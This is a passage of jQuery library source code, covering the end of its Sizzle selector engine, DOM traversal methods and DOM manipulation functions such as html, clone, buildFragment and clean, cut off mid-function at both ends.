							// by name instead of ID
							if ( elem.id === match[3] ) {
								return makeArray( [ elem ], extra );
							}
							
						} else {
							return makeArray( [], extra );
						}
					}
					
					try {
						return makeArray( context.querySelectorAll(query), extra );
					} catch(qsaError) {}
				// qSA works strangely on Element-rooted queries
				// We can work around this by specifying an extra ID on the root
				// and working up from there (Thanks to Andrew Dupont for the technique)
				// IE 8 doesn't work on object elements
				} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
					var oldContext = context,
						old = context.getAttribute( "id" ),
						nid = old || id,
						hasParent = context.parentNode,
						relativeHierarchySelector = /^\s*[+~]/.test( query );
					if ( !old ) {
						context.setAttribute( "id", nid );
					} else {
						nid = nid.replace( /'/g, "\\$&" );
					}
					if ( relativeHierarchySelector && hasParent ) {
						context = context.parentNode;
					}
					try {
						if ( !relativeHierarchySelector || hasParent ) {
							return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
						}
					} catch(pseudoError) {
					} finally {
						if ( !old ) {
							oldContext.removeAttribute( "id" );
						}
					}
				}
			}
		
			return oldSizzle(query, context, extra, seed);
		};
		for ( var prop in oldSizzle ) {
			Sizzle[ prop ] = oldSizzle[ prop ];
		}
		// release memory in IE
		div = null;
	})();
}
(function(){
	var html = document.documentElement,
		matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
	if ( matches ) {
		// Check to see if it's possible to do matchesSelector
		// on a disconnected node (IE 9 fails this)
		var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
			pseudoWorks = false;
		try {
			// This should fail with an exception
			// Gecko does not error, returns false instead
			matches.call( document.documentElement, "[test!='']:sizzle" );
	
		} catch( pseudoError ) {
			pseudoWorks = true;
		}
		Sizzle.matchesSelector = function( node, expr ) {
			// Make sure that attribute selectors are quoted
			expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
			if ( !Sizzle.isXML( node ) ) {
				try { 
					if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
						var ret = matches.call( node, expr );
						// IE 9's matchesSelector returns false on disconnected nodes
						if ( ret || !disconnectedMatch ||
								// As well, disconnected nodes are said to be in a document
								// fragment in IE 9, so check for that
								node.document && node.document.nodeType !== 11 ) {
							return ret;
						}
					}
				} catch(e) {}
			}
			return Sizzle(expr, null, null, [node]).length > 0;
		};
	}
})();
(function(){
	var div = document.createElement("div");
	div.innerHTML = "<div class='test e'></div><div class='test'></div>";
	// Opera can't find a second classname (in 9.6)
	// Also, make sure that getElementsByClassName actually exists
	if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
		return;
	}
	// Safari caches class attributes, doesn't catch changes (in 3.2)
	div.lastChild.className = "e";
	if ( div.getElementsByClassName("e").length === 1 ) {
		return;
	}
	
	Expr.order.splice(1, 0, "CLASS");
	Expr.find.CLASS = function( match, context, isXML ) {
		if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
			return context.getElementsByClassName(match[1]);
		}
	};
	// release memory in IE
	div = null;
})();
function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
		var elem = checkSet[i];
		if ( elem ) {
			var match = false;
			elem = elem[dir];
			while ( elem ) {
				if ( elem.sizcache === doneName ) {
					match = checkSet[elem.sizset];
					break;
				}
				if ( elem.nodeType === 1 && !isXML ){
					elem.sizcache = doneName;
					elem.sizset = i;
				}
				if ( elem.nodeName.toLowerCase() === cur ) {
					match = elem;
					break;
				}
				elem = elem[dir];
			}
			checkSet[i] = match;
		}
	}
}
function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
		var elem = checkSet[i];
		if ( elem ) {
			var match = false;
			
			elem = elem[dir];
			while ( elem ) {
				if ( elem.sizcache === doneName ) {
					match = checkSet[elem.sizset];
					break;
				}
				if ( elem.nodeType === 1 ) {
					if ( !isXML ) {
						elem.sizcache = doneName;
						elem.sizset = i;
					}
					if ( typeof cur !== "string" ) {
						if ( elem === cur ) {
							match = true;
							break;
						}
					} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
						match = elem;
						break;
					}
				}
				elem = elem[dir];
			}
			checkSet[i] = match;
		}
	}
}
if ( document.documentElement.contains ) {
	Sizzle.contains = function( a, b ) {
		return a !== b && (a.contains ? a.contains(b) : true);
	};
} else if ( document.documentElement.compareDocumentPosition ) {
	Sizzle.contains = function( a, b ) {
		return !!(a.compareDocumentPosition(b) & 16);
	};
} else {
	Sizzle.contains = function() {
		return false;
	};
}
Sizzle.isXML = function( elem ) {
	// documentElement is verified for cases where it doesn't yet exist
	// (such as loading iframes in IE - #4833) 
	var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
	return documentElement ? documentElement.nodeName !== "HTML" : false;
};
var posProcess = function( selector, context ) {
	var match,
		tmpSet = [],
		later = "",
		root = context.nodeType ? [context] : context;
	// Position selectors must be done after the filter
	// And so must :not(positional) so we move all PSEUDOs to the end
	while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
		later += match[0];
		selector = selector.replace( Expr.match.PSEUDO, "" );
	}
	selector = Expr.relative[selector] ? selector + "*" : selector;
	for ( var i = 0, l = root.length; i < l; i++ ) {
		Sizzle( selector, root[i], tmpSet );
	}
	return Sizzle.filter( later, tmpSet );
};
// EXPOSE
jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;
jQuery.expr[":"] = jQuery.expr.filters;
jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
})();
var runtil = /Until$/,
	rparentsprev = /^(?:parents|prevUntil|prevAll)/,
	// Note: This RegExp should be improved, or likely pulled from Sizzle
	rmultiselector = /,/,
	isSimple = /^.[^:#\[\.,]*$/,
	slice = Array.prototype.slice,
	POS = jQuery.expr.match.POS,
	// methods guaranteed to produce a unique set when starting from a unique set
	guaranteedUnique = {
		children: true,
		contents: true,
		next: true,
		prev: true
	};
jQuery.fn.extend({
	find: function( selector ) {
		var ret = this.pushStack( "", "find", selector ),
			length = 0;
		for ( var i = 0, l = this.length; i < l; i++ ) {
			length = ret.length;
			jQuery.find( selector, this[i], ret );
			if ( i > 0 ) {
				// Make sure that the results are unique
				for ( var n = length; n < ret.length; n++ ) {
					for ( var r = 0; r < length; r++ ) {
						if ( ret[r] === ret[n] ) {
							ret.splice(n--, 1);
							break;
						}
					}
				}
			}
		}
		return ret;
	},
	has: function( target ) {
		var targets = jQuery( target );
		return this.filter(function() {
			for ( var i = 0, l = targets.length; i < l; i++ ) {
				if ( jQuery.contains( this, targets[i] ) ) {
					return true;
				}
			}
		});
	},
	not: function( selector ) {
		return this.pushStack( winnow(this, selector, false), "not", selector);
	},
	filter: function( selector ) {
		return this.pushStack( winnow(this, selector, true), "filter", selector );
	},
	is: function( selector ) {
		return !!selector && jQuery.filter( selector, this ).length > 0;
	},
	closest: function( selectors, context ) {
		var ret = [], i, l, cur = this[0];
		if ( jQuery.isArray( selectors ) ) {
			var match, selector,
				matches = {},
				level = 1;
			if ( cur && selectors.length ) {
				for ( i = 0, l = selectors.length; i < l; i++ ) {
					selector = selectors[i];
					if ( !matches[selector] ) {
						matches[selector] = jQuery.expr.match.POS.test( selector ) ?
							jQuery( selector, context || this.context ) :
							selector;
					}
				}
				while ( cur && cur.ownerDocument && cur !== context ) {
					for ( selector in matches ) {
						match = matches[selector];
						if ( match.jquery ? match.index(cur) > -1 : jQuery(cur).is(match) ) {
							ret.push({ selector: selector, elem: cur, level: level });
						}
					}
					cur = cur.parentNode;
					level++;
				}
			}
			return ret;
		}
		var pos = POS.test( selectors ) ?
			jQuery( selectors, context || this.context ) : null;
		for ( i = 0, l = this.length; i < l; i++ ) {
			cur = this[i];
			while ( cur ) {
				if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) {
					ret.push( cur );
					break;
				} else {
					cur = cur.parentNode;
					if ( !cur || !cur.ownerDocument || cur === context ) {
						break;
					}
				}
			}
		}
		ret = ret.length > 1 ? jQuery.unique(ret) : ret;
		return this.pushStack( ret, "closest", selectors );
	},
	// Determine the position of an element within
	// the matched set of elements
	index: function( elem ) {
		if ( !elem || typeof elem === "string" ) {
			return jQuery.inArray( this[0],
				// If it receives a string, the selector is used
				// If it receives nothing, the siblings are used
				elem ? jQuery( elem ) : this.parent().children() );
		}
		// Locate the position of the desired element
		return jQuery.inArray(
			// If it receives a jQuery object, the first element is used
			elem.jquery ? elem[0] : elem, this );
	},
	add: function( selector, context ) {
		var set = typeof selector === "string" ?
				jQuery( selector, context ) :
				jQuery.makeArray( selector ),
			all = jQuery.merge( this.get(), set );
		return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?
			all :
			jQuery.unique( all ) );
	},
	andSelf: function() {
		return this.add( this.prevObject );
	}
});
// A painfully simple check to see if an element is disconnected
// from a document (should be improved, where feasible).
function isDisconnected( node ) {
	return !node || !node.parentNode || node.parentNode.nodeType === 11;
}
jQuery.each({
	parent: function( elem ) {
		var parent = elem.parentNode;
		return parent && parent.nodeType !== 11 ? parent : null;
	},
	parents: function( elem ) {
		return jQuery.dir( elem, "parentNode" );
	},
	parentsUntil: function( elem, i, until ) {
		return jQuery.dir( elem, "parentNode", until );
	},
	next: function( elem ) {
		return jQuery.nth( elem, 2, "nextSibling" );
	},
	prev: function( elem ) {
		return jQuery.nth( elem, 2, "previousSibling" );
	},
	nextAll: function( elem ) {
		return jQuery.dir( elem, "nextSibling" );
	},
	prevAll: function( elem ) {
		return jQuery.dir( elem, "previousSibling" );
	},
	nextUntil: function( elem, i, until ) {
		return jQuery.dir( elem, "nextSibling", until );
	},
	prevUntil: function( elem, i, until ) {
		return jQuery.dir( elem, "previousSibling", until );
	},
	siblings: function( elem ) {
		return jQuery.sibling( elem.parentNode.firstChild, elem );
	},
	children: function( elem ) {
		return jQuery.sibling( elem.firstChild );
	},
	contents: function( elem ) {
		return jQuery.nodeName( elem, "iframe" ) ?
			elem.contentDocument || elem.contentWindow.document :
			jQuery.makeArray( elem.childNodes );
	}
}, function( name, fn ) {
	jQuery.fn[ name ] = function( until, selector ) {
		var ret = jQuery.map( this, fn, until ),
			// The variable 'args' was introduced in
			// https://github.com/jquery/jquery/commit/52a0238
			// to work around a bug in Chrome 10 (Dev) and should be removed when the bug is fixed.
			// http://code.google.com/p/v8/issues/detail?id=1050
			args = slice.call(arguments);
		if ( !runtil.test( name ) ) {
			selector = until;
		}
		if ( selector && typeof selector === "string" ) {
			ret = jQuery.filter( selector, ret );
		}
		ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret;
		if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) {
			ret = ret.reverse();
		}
		return this.pushStack( ret, name, args.join(",") );
	};
});
jQuery.extend({
	filter: function( expr, elems, not ) {
		if ( not ) {
			expr = ":not(" + expr + ")";
		}
		return elems.length === 1 ?
			jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] :
			jQuery.find.matches(expr, elems);
	},
	dir: function( elem, dir, until ) {
		var matched = [],
			cur = elem[ dir ];
		while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {
			if ( cur.nodeType === 1 ) {
				matched.push( cur );
			}
			cur = cur[dir];
		}
		return matched;
	},
	nth: function( cur, result, dir, elem ) {
		result = result || 1;
		var num = 0;
		for ( ; cur; cur = cur[dir] ) {
			if ( cur.nodeType === 1 && ++num === result ) {
				break;
			}
		}
		return cur;
	},
	sibling: function( n, elem ) {
		var r = [];
		for ( ; n; n = n.nextSibling ) {
			if ( n.nodeType === 1 && n !== elem ) {
				r.push( n );
			}
		}
		return r;
	}
});
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, keep ) {
	if ( jQuery.isFunction( qualifier ) ) {
		return jQuery.grep(elements, function( elem, i ) {
			var retVal = !!qualifier.call( elem, i, elem );
			return retVal === keep;
		});
	} else if ( qualifier.nodeType ) {
		return jQuery.grep(elements, function( elem, i ) {
			return (elem === qualifier) === keep;
		});
	} else if ( typeof qualifier === "string" ) {
		var filtered = jQuery.grep(elements, function( elem ) {
			return elem.nodeType === 1;
		});
		if ( isSimple.test( qualifier ) ) {
			return jQuery.filter(qualifier, filtered, !keep);
		} else {
			qualifier = jQuery.filter( qualifier, filtered );
		}
	}
	return jQuery.grep(elements, function( elem, i ) {
		return (jQuery.inArray( elem, qualifier ) >= 0) === keep;
	});
}
var rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g,
	rleadingWhitespace = /^\s+/,
	rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,
	rtagName = /<([\w:]+)/,
	rtbody = /<tbody/i,
	rhtml = /<|&#?\w+;/,
	rnocache = /<(?:script|object|embed|option|style)/i,
	// checked="checked" or checked
	rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
	wrapMap = {
		option: [ 1, "<select multiple='multiple'>", "</select>" ],
		legend: [ 1, "<fieldset>", "</fieldset>" ],
		thead: [ 1, "<table>", "</table>" ],
		tr: [ 2, "<table><tbody>", "</tbody></table>" ],
		td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
		col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
		area: [ 1, "<map>", "</map>" ],
		_default: [ 0, "", "" ]
	};
wrapMap.optgroup = wrapMap.option;
wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;
// IE can't serialize <link> and <script> tags normally
if ( !jQuery.support.htmlSerialize ) {
	wrapMap._default = [ 1, "div<div>", "</div>" ];
}
jQuery.fn.extend({
	text: function( text ) {
		if ( jQuery.isFunction(text) ) {
			return this.each(function(i) {
				var self = jQuery( this );
				self.text( text.call(this, i, self.text()) );
			});
		}
		if ( typeof text !== "object" && text !== undefined ) {
			return this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );
		}
		return jQuery.text( this );
	},
	wrapAll: function( html ) {
		if ( jQuery.isFunction( html ) ) {
			return this.each(function(i) {
				jQuery(this).wrapAll( html.call(this, i) );
			});
		}
		if ( this[0] ) {
			// The elements to wrap the target around
			var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);
			if ( this[0].parentNode ) {
				wrap.insertBefore( this[0] );
			}
			wrap.map(function() {
				var elem = this;
				while ( elem.firstChild && elem.firstChild.nodeType === 1 ) {
					elem = elem.firstChild;
				}
				return elem;
			}).append(this);
		}
		return this;
	},
	wrapInner: function( html ) {
		if ( jQuery.isFunction( html ) ) {
			return this.each(function(i) {
				jQuery(this).wrapInner( html.call(this, i) );
			});
		}
		return this.each(function() {
			var self = jQuery( this ),
				contents = self.contents();
			if ( contents.length ) {
				contents.wrapAll( html );
			} else {
				self.append( html );
			}
		});
	},
	wrap: function( html ) {
		return this.each(function() {
			jQuery( this ).wrapAll( html );
		});
	},
	unwrap: function() {
		return this.parent().each(function() {
			if ( !jQuery.nodeName( this, "body" ) ) {
				jQuery( this ).replaceWith( this.childNodes );
			}
		}).end();
	},
	append: function() {
		return this.domManip(arguments, true, function( elem ) {
			if ( this.nodeType === 1 ) {
				this.appendChild( elem );
			}
		});
	},
	prepend: function() {
		return this.domManip(arguments, true, function( elem ) {
			if ( this.nodeType === 1 ) {
				this.insertBefore( elem, this.firstChild );
			}
		});
	},
	before: function() {
		if ( this[0] && this[0].parentNode ) {
			return this.domManip(arguments, false, function( elem ) {
				this.parentNode.insertBefore( elem, this );
			});
		} else if ( arguments.length ) {
			var set = jQuery(arguments[0]);
			set.push.apply( set, this.toArray() );
			return this.pushStack( set, "before", arguments );
		}
	},
	after: function() {
		if ( this[0] && this[0].parentNode ) {
			return this.domManip(arguments, false, function( elem ) {
				this.parentNode.insertBefore( elem, this.nextSibling );
			});
		} else if ( arguments.length ) {
			var set = this.pushStack( this, "after", arguments );
			set.push.apply( set, jQuery(arguments[0]).toArray() );
			return set;
		}
	},
	// keepData is for internal use only--do not document
	remove: function( selector, keepData ) {
		for ( var i = 0, elem; (elem = this[i]) != null; i++ ) {
			if ( !selector || jQuery.filter( selector, [ elem ] ).length ) {
				if ( !keepData && elem.nodeType === 1 ) {
					jQuery.cleanData( elem.getElementsByTagName("*") );
					jQuery.cleanData( [ elem ] );
				}
				if ( elem.parentNode ) {
					elem.parentNode.removeChild( elem );
				}
			}
		}
		return this;
	},
	empty: function() {
		for ( var i = 0, elem; (elem = this[i]) != null; i++ ) {
			// Remove element nodes and prevent memory leaks
			if ( elem.nodeType === 1 ) {
				jQuery.cleanData( elem.getElementsByTagName("*") );
			}
			// Remove any remaining nodes
			while ( elem.firstChild ) {
				elem.removeChild( elem.firstChild );
			}
		}
		return this;
	},
	clone: function( dataAndEvents, deepDataAndEvents ) {
		dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
		deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
		return this.map( function () {
			return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
		});
	},
	html: function( value ) {
		if ( value === undefined ) {
			return this[0] && this[0].nodeType === 1 ?
				this[0].innerHTML.replace(rinlinejQuery, "") :
				null;
		// See if we can take a shortcut and just use innerHTML
		} else if ( typeof value === "string" && !rnocache.test( value ) &&
			(jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value )) &&
			!wrapMap[ (rtagName.exec( value ) || ["", ""])[1].toLowerCase() ] ) {
			value = value.replace(rxhtmlTag, "<$1></$2>");
			try {
				for ( var i = 0, l = this.length; i < l; i++ ) {
					// Remove element nodes and prevent memory leaks
					if ( this[i].nodeType === 1 ) {
						jQuery.cleanData( this[i].getElementsByTagName("*") );
						this[i].innerHTML = value;
					}
				}
			// If using innerHTML throws an exception, use the fallback method
			} catch(e) {
				this.empty().append( value );
			}
		} else if ( jQuery.isFunction( value ) ) {
			this.each(function(i){
				var self = jQuery( this );
				self.html( value.call(this, i, self.html()) );
			});
		} else {
			this.empty().append( value );
		}
		return this;
	},
	replaceWith: function( value ) {
		if ( this[0] && this[0].parentNode ) {
			// Make sure that the elements are removed from the DOM before they are inserted
			// this can help fix replacing a parent with child elements
			if ( jQuery.isFunction( value ) ) {
				return this.each(function(i) {
					var self = jQuery(this), old = self.html();
					self.replaceWith( value.call( this, i, old ) );
				});
			}
			if ( typeof value !== "string" ) {
				value = jQuery( value ).detach();
			}
			return this.each(function() {
				var next = this.nextSibling,
					parent = this.parentNode;
				jQuery( this ).remove();
				if ( next ) {
					jQuery(next).before( value );
				} else {
					jQuery(parent).append( value );
				}
			});
		} else {
			return this.length ?
				this.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), "replaceWith", value ) :
				this;
		}
	},
	detach: function( selector ) {
		return this.remove( selector, true );
	},
	domManip: function( args, table, callback ) {
		var results, first, fragment, parent,
			value = args[0],
			scripts = [];
		// We can't cloneNode fragments that contain checked, in WebKit
		if ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === "string" && rchecked.test( value ) ) {
			return this.each(function() {
				jQuery(this).domManip( args, table, callback, true );
			});
		}
		if ( jQuery.isFunction(value) ) {
			return this.each(function(i) {
				var self = jQuery(this);
				args[0] = value.call(this, i, table ? self.html() : undefined);
				self.domManip( args, table, callback );
			});
		}
		if ( this[0] ) {
			parent = value && value.parentNode;
			// If we're in a fragment, just use that instead of building a new one
			if ( jQuery.support.parentNode && parent && parent.nodeType === 11 && parent.childNodes.length === this.length ) {
				results = { fragment: parent };
			} else {
				results = jQuery.buildFragment( args, this, scripts );
			}
			fragment = results.fragment;
			if ( fragment.childNodes.length === 1 ) {
				first = fragment = fragment.firstChild;
			} else {
				first = fragment.firstChild;
			}
			if ( first ) {
				table = table && jQuery.nodeName( first, "tr" );
				for ( var i = 0, l = this.length, lastIndex = l - 1; i < l; i++ ) {
					callback.call(
						table ?
							root(this[i], first) :
							this[i],
						// Make sure that we do not leak memory by inadvertently discarding
						// the original fragment (which might have attached data) instead of
						// using it; in addition, use the original fragment object for the last
						// item instead of first because it can end up being emptied incorrectly
						// in certain situations (Bug #8070).
						// Fragments from the fragment cache must always be cloned and never used
						// in place.
						results.cacheable || (l > 1 && i < lastIndex) ?
							jQuery.clone( fragment, true, true ) :
							fragment
					);
				}
			}
			if ( scripts.length ) {
				jQuery.each( scripts, evalScript );
			}
		}
		return this;
	}
});
function root( elem, cur ) {
	return jQuery.nodeName(elem, "table") ?
		(elem.getElementsByTagName("tbody")[0] ||
		elem.appendChild(elem.ownerDocument.createElement("tbody"))) :
		elem;
}
function cloneCopyEvent( src, dest ) {
	if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {
		return;
	}
	var internalKey = jQuery.expando,
		oldData = jQuery.data( src ),
		curData = jQuery.data( dest, oldData );
	// Switch to use the internal data object, if it exists, for the next
	// stage of data copying
	if ( (oldData = oldData[ internalKey ]) ) {
		var events = oldData.events;
				curData = curData[ internalKey ] = jQuery.extend({}, oldData);
		if ( events ) {
			delete curData.handle;
			curData.events = {};
			for ( var type in events ) {
				for ( var i = 0, l = events[ type ].length; i < l; i++ ) {
					jQuery.event.add( dest, type + ( events[ type ][ i ].namespace ? "." : "" ) + events[ type ][ i ].namespace, events[ type ][ i ], events[ type ][ i ].data );
				}
			}
		}
	}
}
function cloneFixAttributes(src, dest) {
	// We do not need to do anything for non-Elements
	if ( dest.nodeType !== 1 ) {
		return;
	}
	var nodeName = dest.nodeName.toLowerCase();
	// clearAttributes removes the attributes, which we don't want,
	// but also removes the attachEvent events, which we *do* want
	dest.clearAttributes();
	// mergeAttributes, in contrast, only merges back on the
	// original attributes, not the events
	dest.mergeAttributes(src);
	// IE6-8 fail to clone children inside object elements that use
	// the proprietary classid attribute value (rather than the type
	// attribute) to identify the type of content to display
	if ( nodeName === "object" ) {
		dest.outerHTML = src.outerHTML;
	} else if ( nodeName === "input" && (src.type === "checkbox" || src.type === "radio") ) {
		// IE6-8 fails to persist the checked state of a cloned checkbox
		// or radio button. Worse, IE6-7 fail to give the cloned element
		// a checked appearance if the defaultChecked value isn't also set
		if ( src.checked ) {
			dest.defaultChecked = dest.checked = src.checked;
		}
		// IE6-7 get confused and end up setting the value of a cloned
		// checkbox/radio button to an empty string instead of "on"
		if ( dest.value !== src.value ) {
			dest.value = src.value;
		}
	// IE6-8 fails to return the selected option to the default selected
	// state when cloning options
	} else if ( nodeName === "option" ) {
		dest.selected = src.defaultSelected;
	// IE6-8 fails to set the defaultValue to the correct value when
	// cloning other types of input fields
	} else if ( nodeName === "input" || nodeName === "textarea" ) {
		dest.defaultValue = src.defaultValue;
	}
	// Event data gets referenced instead of copied if the expando
	// gets copied too
	dest.removeAttribute( jQuery.expando );
}
jQuery.buildFragment = function( args, nodes, scripts ) {
	var fragment, cacheable, cacheresults,
		doc = (nodes && nodes[0] ? nodes[0].ownerDocument || nodes[0] : document);
	// Only cache "small" (1/2 KB) HTML strings that are associated with the main document
	// Cloning options loses the selected state, so don't cache them
	// IE 6 doesn't like it when you put <object> or <embed> elements in a fragment
	// Also, WebKit does not clone 'checked' attributes on cloneNode, so don't cache
	if ( args.length === 1 && typeof args[0] === "string" && args[0].length < 512 && doc === document &&
		args[0].charAt(0) === "<" && !rnocache.test( args[0] ) && (jQuery.support.checkClone || !rchecked.test( args[0] )) ) {
		cacheable = true;
		cacheresults = jQuery.fragments[ args[0] ];
		if ( cacheresults ) {
			if ( cacheresults !== 1 ) {
				fragment = cacheresults;
			}
		}
	}
	if ( !fragment ) {
		fragment = doc.createDocumentFragment();
		jQuery.clean( args, doc, fragment, scripts );
	}
	if ( cacheable ) {
		jQuery.fragments[ args[0] ] = cacheresults ? fragment : 1;
	}
	return { fragment: fragment, cacheable: cacheable };
};
jQuery.fragments = {};
jQuery.each({
	appendTo: "append",
	prependTo: "prepend",
	insertBefore: "before",
	insertAfter: "after",
	replaceAll: "replaceWith"
}, function( name, original ) {
	jQuery.fn[ name ] = function( selector ) {
		var ret = [],
			insert = jQuery( selector ),
			parent = this.length === 1 && this[0].parentNode;
		if ( parent && parent.nodeType === 11 && parent.childNodes.length === 1 && insert.length === 1 ) {
			insert[ original ]( this[0] );
			return this;
		} else {
			for ( var i = 0, l = insert.length; i < l; i++ ) {
				var elems = (i > 0 ? this.clone(true) : this).get();
				jQuery( insert[i] )[ original ]( elems );
				ret = ret.concat( elems );
			}
			return this.pushStack( ret, name, insert.selector );
		}
	};
});
function getAll( elem ) {
	if ( "getElementsByTagName" in elem ) {
		return elem.getElementsByTagName( "*" );
	
	} else if ( "querySelectorAll" in elem ) {
		return elem.querySelectorAll( "*" );
	} else {
		return [];
	}
}
jQuery.extend({
	clone: function( elem, dataAndEvents, deepDataAndEvents ) {
		var clone = elem.cloneNode(true),
				srcElements,
				destElements,
				i;
		if ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) &&
				(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {
			// IE copies events bound via attachEvent when using cloneNode.
			// Calling detachEvent on the clone will also remove the events
			// from the original. In order to get around this, we use some
			// proprietary methods to clear the events. Thanks to MooTools
			// guys for this hotness.
			cloneFixAttributes( elem, clone );
			// Using Sizzle here is crazy slow, so we use getElementsByTagName
			// instead
			srcElements = getAll( elem );
			destElements = getAll( clone );
			// Weird iteration because IE will replace the length property
			// with an element if you are cloning the body and one of the
			// elements on the page has a name or id of "length"
			for ( i = 0; srcElements[i]; ++i ) {
				cloneFixAttributes( srcElements[i], destElements[i] );
			}
		}
		// Copy the events from the original to the clone
		if ( dataAndEvents ) {
			cloneCopyEvent( elem, clone );
			if ( deepDataAndEvents ) {
				srcElements = getAll( elem );
				destElements = getAll( clone );
				for ( i = 0; srcElements[i]; ++i ) {
					cloneCopyEvent( srcElements[i], destElements[i] );
				}
			}
		}
		// Return the cloned set
		return clone;
},
	clean: function( elems, context, fragment, scripts ) {
		context = context || document;
		// !context.createElement fails in IE with an error but returns typeof 'object'
		if ( typeof context.createElement === "undefined" ) {
			context = context.ownerDocument || context[0] && context[0].ownerDocument || document;
		}
		var ret = [];
		for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
			if ( typeof elem === "number" ) {
				elem += "";
			}
			if ( !elem ) {
				continue;
			}
			// Convert html string into DOM nodes
			if ( typeof elem === "string" && !rhtml.test( elem ) ) {
				elem = context.createTextNode( elem );
			} else if ( typeof elem === "string" ) {
				// Fix "XHTML"-style tags in all browsers
				elem = elem.replace(rxhtmlTag, "<$1></$2>");
				// Trim whitespace, otherwise indexOf won't work as expected
				var tag = (rtagName.exec( elem ) || ["", ""])[1].toLowerCase(),
					wrap = wrapMap[ tag ] || wrapMap._default,
					depth = wrap[0],
					div = context.createElement("div");
				// Go to html and back, then peel off extra wrappers
				div.innerHTML = wrap[1] + elem + wrap[2];
				// Move to the right depth
				while ( depth-- ) {
					div = div.lastChild;
				}
				// Remove IE's autoinserted <tbody> from table fragments
				if ( !jQuery.support.tbody ) {
					// String was a <table>, *may* have spurious <tbody>
					var hasBody = rtbody.test(elem),
						tbody = tag === "table" && !hasBody ?
							div.firstChild && div.firstChild.childNodes :
							// String was a bare <thead> or <tfoot>
							wrap[1] === "<table>" && !hasBody ?
								div.childNodes :
								[];
					for ( var j = tbody.length - 1; j >= 0 ; --j ) {
						if ( jQuery.nodeName( tbody[ j ], "tbody" ) && !tbody[ j ].childNodes.length ) {
							tbody[ j ].parentNode.removeChild( tbody[ j ] );
						}
					}
				}
				// IE completely kills leading whitespace when innerHTML is used
				if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
					div.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );
				}
				elem = div.childNodes;
			}
			if ( elem.nodeType ) {
				ret.push( elem );
			} else {
				ret = jQuery.merge( ret, elem );
			}
		}
		if ( fragment ) {
			for ( i = 0; ret[i]; i++ ) {
				if ( scripts && jQuery.nodeName( ret[i], "script" ) && (!ret[i].type || ret[i].type.toLowerCase() === "text/javascript") ) {
					scripts.push( ret[i].parentNode ? ret[i].parentNode.removeChild( ret[i] ) : ret[i] );
				} else {
					if ( ret[i].nodeType === 1 ) {
						ret.splice.apply( ret, [i + 1, 0].concat(jQuery.makeArray(ret[i].getElementsByTagName("script"))) );
					}
					fragment.appendChild( ret[i] );
				}
			}
		}
		return ret;
	},
	cleanData: function( elems ) {
		var data, id, cache = jQuery.cache, internalKey = jQuery.expando, special = jQuery.event.special,
			deleteExpando = jQuery.support.deleteExpando;
		for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
			if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {
				continue;
			}
			id = elem[ jQuery.expando ];
			if ( id ) {
				data = cache[ id ] && cache[ id ][ internalKey ];
				if ( data && data.events ) {
					for ( var type in data.events ) {
						if ( special[ type ] ) {
							jQuery.event.remove( elem, type );
						// This is a shortcut to avoid jQuery.event.remove's overhead
						} else {
							jQuery.removeEvent( elem, type, data.handle );
						}
					}
					// Null the DOM reference to avoid IE6/7/8 leak (#7054)
					if ( data.handle ) {
						data.handle.elem = null;
					}
				}
				if ( deleteExpando ) {
					delete elem[ jQuery.expando ];
				} else if ( elem.removeAttribute ) {
					elem.removeAttribute( jQuery.expando );
				}
				delete cache[ id ];
			}
		}
	}
});
function evalScript( i, elem ) {
	if ( elem.src ) {
		jQuery.ajax({
			url: elem.src,
			async: false,
			dataType: "script"
		});
	} else {
